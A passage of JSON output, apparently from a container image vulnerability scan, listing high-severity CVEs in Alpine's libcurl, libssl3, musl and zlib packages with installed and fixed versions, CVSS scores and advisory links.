features a pool of recent connections so that subsequent requests can\nreuse an existing connection to avoid overhead.\n\nWhen reusing a connection a range of criteria must be met. Due to a logical\nerror in the code, a request that was issued by an application could\nwrongfully reuse an existing connection to the same server that was\nauthenticated using different services.", "Severity": "HIGH", "CweIDs": [ "CWE-488" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 2, "julia": 2, "oracle-oval": 3, "photon": 2, "redhat": 3, "rocky": 3, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "V3Score": 6.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:69126", "https://access.redhat.com/security/cve/CVE-2026-8458", "https://bugzilla.redhat.com/2496764", "https://bugzilla.redhat.com/2496769", "https://bugzilla.redhat.com/show_bug.cgi?id=2496764", "https://bugzilla.redhat.com/show_bug.cgi?id=2496769", "https://creativecommons.org/licenses/by/4.0/", "https://curl.se/L7HzKXisfJ/CVE-2026-8458.md", "https://curl.se/docs/CVE-2026-8458.html", "https://curl.se/docs/CVE-2026-8458.json", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-8458", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-8927", "https://errata.almalinux.org/9/ALSA-2026-69126.html", "https://errata.rockylinux.org/RLSA-2026:69126", "https://github.com/advisories/GHSA-88c6-6jfq-mm4q", "https://hackerone.com/reports/3721183", "https://linux.oracle.com/cve/CVE-2026-8458.html", "https://linux.oracle.com/errata/ELSA-2026-92368.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-8458", "https://ubuntu.com/security/notices/USN-8487-1", "https://www.cve.org/CVERecord?id=CVE-2026-8458" ], "PublishedDate": "2026-07-03T07:16:24.63Z", "LastModifiedDate": "2026-09-15T07:16:32.327Z" }, { "VulnerabilityID": "CVE-2026-8925", "PkgID": "libcurl@8.19.0-r0", "PkgName": "libcurl", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libcurl@8.19.0-r0?arch=x86_64\u0026distro=3.23.4", "UID": "ae99b13d03576e54" }, "InstalledVersion": "8.19.0-r0", "FixedVersion": "8.22.0-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:32aeaf57bbd7e2e10560488d473a5634be88d6d680fa5ddcd01f02fe343a3229" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-8925", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:25844c851e61cab801d24d764a09fc615ee21bb88ef29ab38e8d82102c3cdf24", "Title": "curl: curl: Double-free vulnerability in SASL authentication", "Description": "The curl logic that works with SASL authentication could end up cleaning up\nthe GSASL context *twice* without clearing the pointer in between, making it\n`free()` the same pointer twice.", "Severity": "HIGH", "CweIDs": [ "CWE-415" ], "VendorSeverity": { "amazon": 2, "julia": 4, "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-8925", "https://curl.se/L7HzKXisfJ/CVE-2026-8925.md", "https://curl.se/docs/CVE-2026-8925.html", "https://curl.se/docs/CVE-2026-8925.json", "https://github.com/advisories/GHSA-p8x5-c6c9-8cwx", "https://hackerone.com/reports/3735193", "https://nvd.nist.gov/vuln/detail/CVE-2026-8925", "https://ubuntu.com/security/notices/USN-8487-1", "https://www.cve.org/CVERecord?id=CVE-2026-8925" ], "PublishedDate": "2026-07-03T07:16:24.95Z", "LastModifiedDate": "2026-09-15T07:16:32.8Z" }, { "VulnerabilityID": "CVE-2026-8927", "PkgID": "libcurl@8.19.0-r0", "PkgName": "libcurl", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libcurl@8.19.0-r0?arch=x86_64\u0026distro=3.23.4", "UID": "ae99b13d03576e54" }, "InstalledVersion": "8.19.0-r0", "FixedVersion": "8.22.0-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:32aeaf57bbd7e2e10560488d473a5634be88d6d680fa5ddcd01f02fe343a3229" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-8927", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:7a80317114105a8a39b0887d507698c84716d14d12ca40c3ea231b878df51278", "Title": "curl: Information disclosure due to uncleared proxy authentication state", "Description": "When reusing a libcurl handle for sequential transfers driven by\nenvironment-variable proxy configuration, libcurl fails to clear the proxy\nauthentication state between requests. Specifically, if the initial transfer\nauthenticates against `proxyA` using Digest auth, a subsequent transfer routed\nthrough `proxyB` erroneously leaks the `Proxy-Authorization:` header intended\nsolely for `proxyA`.", "Severity": "HIGH", "CweIDs": [ "CWE-294" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 2, "julia": 4, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 9.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:69126", "https://access.redhat.com/security/cve/CVE-2026-8927", "https://bugzilla.redhat.com/2496764", "https://bugzilla.redhat.com/2496769", "https://bugzilla.redhat.com/show_bug.cgi?id=2496764", "https://bugzilla.redhat.com/show_bug.cgi?id=2496769", "https://creativecommons.org/licenses/by/4.0/", "https://curl.se/L7HzKXisfJ/CVE-2026-8927.md", "https://curl.se/docs/CVE-2026-8927.html", "https://curl.se/docs/CVE-2026-8927.json", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-8458", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-8927", "https://errata.almalinux.org/9/ALSA-2026-69126.html", "https://errata.rockylinux.org/RLSA-2026:69126", "https://github.com/advisories/GHSA-jr4f-4564-w3mr", "https://hackerone.com/reports/3744543", "https://linux.oracle.com/cve/CVE-2026-8927.html", "https://linux.oracle.com/errata/ELSA-2026-92368.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-8927", "https://ubuntu.com/security/notices/USN-8487-1", "https://ubuntu.com/security/notices/USN-8820-1", "https://www.cve.org/CVERecord?id=CVE-2026-8927" ], "PublishedDate": "2026-07-03T07:16:25.123Z", "LastModifiedDate": "2026-09-15T07:16:33.157Z" }, { "VulnerabilityID": "CVE-2026-92392", "PkgID": "libcurl@8.19.0-r0", "PkgName": "libcurl", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libcurl@8.19.0-r0?arch=x86_64\u0026distro=3.23.4", "UID": "ae99b13d03576e54" }, "InstalledVersion": "8.19.0-r0", "FixedVersion": "8.23.0-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:32aeaf57bbd7e2e10560488d473a5634be88d6d680fa5ddcd01f02fe343a3229" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-92392", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:0efad688f8f399f9baad8bcf20620b270514732f59f5362370692275e9bf8833", "Title": "curl: curl: HTTP/2 upload Use-After-Free", "Description": "During an upload, curl mishandles HTTP/2 `RST_STREAM` received from the server\n(with reason `HTTP_1_1_REQUIRED` or `REFUSED_STREAM`) leading to a use after\nfree of a `struct Curl_easy` object.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/10/18/5", "http://www.openwall.com/lists/oss-security/2026/10/18/6", "https://access.redhat.com/security/cve/CVE-2026-92392", "https://curl.se/docs/CVE-2026-92392.html", "https://curl.se/docs/CVE-2026-92392.json", "https://hackerone.com/reports/4030333", "https://nvd.nist.gov/vuln/detail/CVE-2026-92392", "https://ubuntu.com/security/notices/USN-8927-1", "https://ubuntu.com/security/notices/USN-8927-2", "https://www.cve.org/CVERecord?id=CVE-2026-92392" ], "PublishedDate": "2026-10-14T08:17:05.997Z", "LastModifiedDate": "2026-10-18T23:16:57.163Z" }, { "VulnerabilityID": "CVE-2026-9547", "PkgID": "libcurl@8.19.0-r0", "PkgName": "libcurl", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libcurl@8.19.0-r0?arch=x86_64\u0026distro=3.23.4", "UID": "ae99b13d03576e54" }, "InstalledVersion": "8.19.0-r0", "FixedVersion": "8.22.0-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:32aeaf57bbd7e2e10560488d473a5634be88d6d680fa5ddcd01f02fe343a3229" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-9547", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:f784d5a7c8f97422d064fa074b2dcb7c99f9e3d4a85ec46f129c9c798384187b", "Title": "curl: curl: Man-in-the-middle attack via SSH host key bypass", "Description": "When a libcurl-based application performs transfers via `SCP://` or `SFTP://`\nand utilizes the `CURLOPT_SSH_KEYFUNCTION` callback, it may silently accept an\nuntrusted server. This vulnerability occurs when a server presents a host key\ntype that does not match the specific key type already recorded for that host\nin the `known_hosts` file. Instead of rejecting the mismatch, the callback\nmechanism fails to properly enforce the restriction, allowing the connection\nto succeed without warning and risking a potential man-in-the-middle attack.", "Severity": "HIGH", "CweIDs": [ "CWE-297" ], "VendorSeverity": { "alma": 3, "amazon": 2, "julia": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 7.4 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 7.4 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:55439", "https://access.redhat.com/security/cve/CVE-2026-9547", "https://bugzilla.redhat.com/2446448", "https://bugzilla.redhat.com/2446450", "https://bugzilla.redhat.com/2496758", "https://bugzilla.redhat.com/2496763", "https://bugzilla.redhat.com/show_bug.cgi?id=2446448", "https://bugzilla.redhat.com/show_bug.cgi?id=2446450", "https://bugzilla.redhat.com/show_bug.cgi?id=2496758", "https://bugzilla.redhat.com/show_bug.cgi?id=2496763", "https://creativecommons.org/licenses/by/4.0/", "https://curl.se/L7HzKXisfJ/CVE-2026-9547.md", "https://curl.se/docs/CVE-2026-9547.html", "https://curl.se/docs/CVE-2026-9547.json", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-1965", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-3783", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-8286", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-9547", "https://errata.almalinux.org/9/ALSA-2026-55439.html", "https://errata.rockylinux.org/RLSA-2026:55439", "https://github.com/advisories/GHSA-xq9p-gxg6-f7q6", "https://hackerone.com/reports/3751712", "https://linux.oracle.com/cve/CVE-2026-9547.html", "https://linux.oracle.com/errata/ELSA-2026-55450.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-9547", "https://ubuntu.com/security/notices/USN-8487-1", "https://www.cve.org/CVERecord?id=CVE-2026-9547" ], "PublishedDate": "2026-07-03T07:16:25.99Z", "LastModifiedDate": "2026-09-15T07:16:35.31Z" }, { "VulnerabilityID": "CVE-2026-14456", "PkgID": "libssl3@3.5.6-r0", "PkgName": "libssl3", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libssl3@3.5.6-r0?arch=x86_64\u0026distro=3.23.4", "UID": "aece396067dff154" }, "InstalledVersion": "3.5.6-r0", "FixedVersion": "3.5.8-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:29df493baa13de438d6d2ece3a8333032e0b7b9b9d8cce4ee82194da255f61e1" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-14456", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:f1762bf556830997ce95d926fb9b4c0cf20b20c68ef50315226f214e7baefd84", "Title": "openssl: OpenSSL: Denial of Service via unbounded memory growth in QUIC server", "Description": "Issue summary: When an OpenSSL QUIC server (Listener SSL object) processes\nvalid QUIC Initial packets for unknown destination connection IDs, it\ncan allocate and queue new incoming channels without enforcing any limit.\n\nImpact summary: A remote peer that can make many Initial packets reach the\nserver listener faster than the application accepts connections, can cause the\nmemory allocated to store the per-channel state to grow without any limits,\npotentially making the QUIC listener unavailable and causing Denial of Service.\n\nCWE: CWE-770: Allocation of Resources Without Limits or Throttling\n\nDescription: The function that handles inbound QUIC packets uses\nConnection-Id from the packet header to find an existing connection\n(QUIC channel). If no existing connection is found and the packet\ntype is INITIAL, the function treats the packet as a new connection. It\nallocates a new channel object and inserts it into a queue where it\nwaits to be accepted by the local application with SSL_accept(3ossl).\nThe memory occupied by these initial channel objects may grow\nwithout bounds if the application is not able to call SSL_accept()\nfrequently enough to serve these inbound connection requests.\n\nThe issue is present since OpenSSL 3.5 when the QUIC server implementation\nwas added.\n\nThe fix introduces a limit for pending connections. The default limit is set\nto 256 pending connections (waiting to be accepted by the local application).\nApplications may change the default by calling SSL_set_value_uint(3ossl).\n\nFIPS impact: no\nThe FIPS module is not affected as the QUIC implementation is outside of\nthe OpenSSL FIPS module boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-770" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/08/13/4", "https://access.redhat.com/errata/RHSA-2026:67165", "https://access.redhat.com/security/cve/CVE-2026-14456", "https://bugzilla.redhat.com/2515348", "https://bugzilla.redhat.com/2517559", "https://bugzilla.redhat.com/2517560", "https://bugzilla.redhat.com/2517561", "https://bugzilla.redhat.com/2517562", "https://bugzilla.redhat.com/2517564", "https://bugzilla.redhat.com/2517565", "https://bugzilla.redhat.com/2517566", "https://bugzilla.redhat.com/2517570", "https://bugzilla.redhat.com/show_bug.cgi?id=2515348", "https://bugzilla.redhat.com/show_bug.cgi?id=2517559", "https://bugzilla.redhat.com/show_bug.cgi?id=2517560", "https://bugzilla.redhat.com/show_bug.cgi?id=2517561", "https://bugzilla.redhat.com/show_bug.cgi?id=2517562", "https://bugzilla.redhat.com/show_bug.cgi?id=2517564", "https://bugzilla.redhat.com/show_bug.cgi?id=2517565", "https://bugzilla.redhat.com/show_bug.cgi?id=2517566", "https://bugzilla.redhat.com/show_bug.cgi?id=2517570", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14457", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-18798", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-54874", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63072", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63073", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63074", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63075", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63076", "https://errata.almalinux.org/9/ALSA-2026-67165.html", "https://errata.rockylinux.org/RLSA-2026:67165", "https://github.com/openssl/openssl/commit/08e7756c3900bcfd77a720e7b74e27d6e4ed01a9", "https://github.com/openssl/openssl/commit/4084152e040329ca0194c4c1750b9b46d00a5b6b", "https://github.com/openssl/openssl/commit/f2f1465f2d2e5c61dfeac4d20fd093797d821139", "https://linux.oracle.com/cve/CVE-2026-14456.html", "https://linux.oracle.com/errata/ELSA-2026-67165-0.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-14456", "https://openssl-library.org/news/secadv/20260813.txt", "https://ubuntu.com/security/notices/USN-8678-1", "https://www.cve.org/CVERecord?id=CVE-2026-14456" ], "PublishedDate": "2026-08-13T15:19:31.82Z", "LastModifiedDate": "2026-11-06T20:26:36.04Z" }, { "VulnerabilityID": "CVE-2026-45447", "PkgID": "libssl3@3.5.6-r0", "PkgName": "libssl3", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libssl3@3.5.6-r0?arch=x86_64\u0026distro=3.23.4", "UID": "aece396067dff154" }, "InstalledVersion": "3.5.6-r0", "FixedVersion": "3.5.7-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:29df493baa13de438d6d2ece3a8333032e0b7b9b9d8cce4ee82194da255f61e1" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-45447", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:edc4c57554e8cad0f3ce6702e91cad77f32166d06bfc3ece39c0741a067debcd", "Title": "openssl: Heap Use-After-Free in OpenSSL PKCS7_verify()", "Description": "Issue summary: A specially crafted PKCS#7 or S/MIME signed message could\ntrigger a use-after-free during PKCS#7 signature verification.\n\nImpact summary: A use-after-free may result in process crashes, heap\ncorruption, or potentially remote code execution.\n\nWhen processing a PKCS#7 or S/MIME signed message, if the SignedData\ndigestAlgorithms field is present as an empty ASN.1 SET, OpenSSL may\nincorrectly free a caller-owned BIO during PKCS7_verify(). A subsequent\nuse of the BIO by the calling application results in a use-after-free\ncondition.\n\nIn the common case this occurs when the application later calls\nBIO_free() on the BIO originally passed to PKCS7_verify(). Depending\non allocator behavior and application-specific BIO usage patterns, this\nmay result in a crash or other memory corruption. In some application\ncontexts this may potentially be exploitable for remote code execution.\n\nApplications that process PKCS#7 or S/MIME signed messages using OpenSSL\nPKCS#7 APIs may be affected. Applications using the CMS APIs for this\nprocessing are not affected.\n\nThe FIPS modules in 4.0, 3.6, 3.5, 3.4, and 3.0 are not affected by this\nissue, as the affected code is outside the OpenSSL FIPS module boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-416", "CWE-825" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "julia": 3, "oracle-oval": 2, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:25237", "https://access.redhat.com/errata/RHSA-2026:25239", "https://access.redhat.com/errata/RHSA-2026:26275", "https://access.redhat.com/errata/RHSA-2026:26319", "https://access.redhat.com/errata/RHSA-2026:29197", "https://access.redhat.com/errata/RHSA-2026:34102", "https://access.redhat.com/errata/RHSA-2026:35869", "https://access.redhat.com/errata/RHSA-2026:36215", "https://access.redhat.com/errata/RHSA-2026:36217", "https://access.redhat.com/errata/RHSA-2026:39009", "https://access.redhat.com/errata/RHSA-2026:39012", "https://access.redhat.com/errata/RHSA-2026:39981", "https://access.redhat.com/errata/RHSA-2026:44438", "https://access.redhat.com/errata/RHSA-2026:47735", "https://access.redhat.com/errata/RHSA-2026:47737", "https://access.redhat.com/errata/RHSA-2026:58563", "https://access.redhat.com/errata/RHSA-2026:58981", "https://access.redhat.com/errata/RHSA-2026:59831", "https://access.redhat.com/errata/RHSA-2026:66524", "https://access.redhat.com/security/cve/CVE-2026-45447", "https://bugzilla.redhat.com/2481898", "https://bugzilla.redhat.com/show_bug.cgi?id=2481879", "https://bugzilla.redhat.com/show_bug.cgi?id=2481880", "https://bugzilla.redhat.com/show_bug.cgi?id=2481881", "https://bugzilla.redhat.com/show_bug.cgi?id=2481882", "https://bugzilla.redhat.com/show_bug.cgi?id=2481884", "https://bugzilla.redhat.com/show_bug.cgi?id=2481885", "https://bugzilla.redhat.com/show_bug.cgi?id=2481887", "https://bugzilla.redhat.com/show_bug.cgi?id=2481890", "https://bugzilla.redhat.com/show_bug.cgi?id=2481891", "https://bugzilla.redhat.com/show_bug.cgi?id=2481892", "https://bugzilla.redhat.com/show_bug.cgi?id=2481893", "https://bugzilla.redhat.com/show_bug.cgi?id=2481894", "https://bugzilla.redhat.com/show_bug.cgi?id=2481896", "https://bugzilla.redhat.com/show_bug.cgi?id=2481897", "https://bugzilla.redhat.com/show_bug.cgi?id=2481898", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34180", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34181", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34182", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34183", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42764", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42766", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42767", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42768", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42769", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42770", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45445", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45446", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45447", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-7383", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-9076", "https://errata.almalinux.org/9/ALSA-2026-44438.html", "https://errata.rockylinux.org/RLSA-2026:25239", "https://github.com/advisories/GHSA-f684-cpcq-j565", "https://github.com/openssl/openssl/commit/3aad5eb7af4de4ee0633c30a8541a54d9bbde63c", "https://github.com/openssl/openssl/commit/7d4a980c62258c5910cc883936e0c8dbab4d75a8", "https://github.com/openssl/openssl/commit/9dfd688ad2290fc5075cacbc9bf0c9a93eefed54", "https://github.com/openssl/openssl/commit/a541ae8bfe849a30cc885e8780715c0f488e496c", "https://github.com/openssl/openssl/commit/c505d7559da5d5f9f2c3913c6883a5562ce7273e", "https://github.com/openssl/security/commit/3aad5eb7af4de4ee0633c30a8541a54d9bbde63c", "https://github.com/openssl/security/commit/7d4a980c62258c5910cc883936e0c8dbab4d75a8", "https://github.com/openssl/security/commit/9dfd688ad2290fc5075cacbc9bf0c9a93eefed54", "https://github.com/openssl/security/commit/a541ae8bfe849a30cc885e8780715c0f488e496c", "https://github.com/openssl/security/commit/c505d7559da5d5f9f2c3913c6883a5562ce7273e", "https://linux.oracle.com/cve/CVE-2026-45447.html", "https://linux.oracle.com/errata/ELSA-2026-50379.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-45447", "https://openssl-library.org/news/secadv/20260609.txt", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-45447.json", "https://ubuntu.com/security/notices/USN-8414-1", "https://ubuntu.com/security/notices/USN-8414-2", "https://www.cve.org/CVERecord?id=CVE-2026-45447" ], "PublishedDate": "2026-06-09T17:17:19.277Z", "LastModifiedDate": "2026-09-18T13:18:26.343Z" }, { "VulnerabilityID": "CVE-2026-107891", "PkgID": "musl@1.2.5-r23", "PkgName": "musl", "PkgIdentifier": { "PURL": "pkg:apk/alpine/musl@1.2.5-r23?arch=x86_64\u0026distro=3.23.4", "UID": "dca30b3fd6708a32" }, "InstalledVersion": "1.2.5-r23", "FixedVersion": "1.2.5-r24", "Status": "fixed", "Layer": { "DiffID": "sha256:29df493baa13de438d6d2ece3a8333032e0b7b9b9d8cce4ee82194da255f61e1" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-107891", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:35e8f890176787057b8e600c3887a5c03f5738dd7b297c126f1688674d751af1", "Title": "musl: musl: Arbitrary code execution via integer overflow in regcomp", "Description": "musl libc before 1.2.7, when an untrusted regular expression is used with regcomp, has multiple integer overflows, possibly leading to incorrect allocation sizes and out-of-bounds heap writes.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/10/21/18", "https://access.redhat.com/security/cve/CVE-2026-107891", "https://git.musl-libc.org/cgit/musl/commit/?id=7813e9119eb5fe681b6750b8a033a0490bca0941", "https://musl.libc.org", "https://nvd.nist.gov/vuln/detail/CVE-2026-107891", "https://www.cve.org/CVERecord?id=CVE-2026-107891", "https://www.openwall.com/lists/musl/2026/10/21/1" ], "PublishedDate": "2026-11-05T16:17:32.15Z", "LastModifiedDate": "2026-11-05T17:17:35.287Z" }, { "VulnerabilityID": "CVE-2026-107891", "PkgID": "musl-utils@1.2.5-r23", "PkgName": "musl-utils", "PkgIdentifier": { "PURL": "pkg:apk/alpine/musl-utils@1.2.5-r23?arch=x86_64\u0026distro=3.23.4", "UID": "ffcf7198a9776c5f" }, "InstalledVersion": "1.2.5-r23", "FixedVersion": "1.2.5-r24", "Status": "fixed", "Layer": { "DiffID": "sha256:29df493baa13de438d6d2ece3a8333032e0b7b9b9d8cce4ee82194da255f61e1" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-107891", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:a64346261ef241684ffe58d98315ca5913de78b1c80ed423ce48bdece17d683f", "Title": "musl: musl: Arbitrary code execution via integer overflow in regcomp", "Description": "musl libc before 1.2.7, when an untrusted regular expression is used with regcomp, has multiple integer overflows, possibly leading to incorrect allocation sizes and out-of-bounds heap writes.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/10/21/18", "https://access.redhat.com/security/cve/CVE-2026-107891", "https://git.musl-libc.org/cgit/musl/commit/?id=7813e9119eb5fe681b6750b8a033a0490bca0941", "https://musl.libc.org", "https://nvd.nist.gov/vuln/detail/CVE-2026-107891", "https://www.cve.org/CVERecord?id=CVE-2026-107891", "https://www.openwall.com/lists/musl/2026/10/21/1" ], "PublishedDate": "2026-11-05T16:17:32.15Z", "LastModifiedDate": "2026-11-05T17:17:35.287Z" }, { "VulnerabilityID": "CVE-2026-85091", "PkgID": "zlib@1.3.2-r0", "PkgName": "zlib", "PkgIdentifier": { "PURL": "pkg:apk/alpine/zlib@1.3.2-r0?arch=x86_64\u0026distro=3.23.4", "UID": "23a5a7d167a86311" }, "InstalledVersion": "1.3.2-r0", "FixedVersion": "1.3.2-r1", "Status": "fixed", "Layer": { "DiffID": "sha256:29df493baa13de438d6d2ece3a8333032e0b7b9b9d8cce4ee82194da255f61e1" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-85091", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:649e94ba246ebaa4b5de3f4abb73bfd8599349792e9bf5d071d5c210f728414d", "Title": "zlib: zlib: Heap buffer overflow in gz_vacate() allows arbitrary code execution", "Description": "zlib versions 1.3.1.2 through 1.3.2 contain a heap buffer overflow vulnerability in the gz_vacate() function when processing non-blocking gzwrite() operations with stale external buffer pointers. Attackers can trigger the overflow by calling gzprintf() or gzvprintf() after a write stall, causing an unchecked memmove() to write beyond the internal input buffer boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "azure": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-85091", "https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490", "https://github.com/madler/zlib", "https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c#L393", "https://nvd.nist.gov/vuln/detail/CVE-2026-85091", "https://ubuntu.com/security/notices/USN-8954-1", "https://www.cve.org/CVERecord?id=CVE-2026-85091", "https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate" ], "PublishedDate": 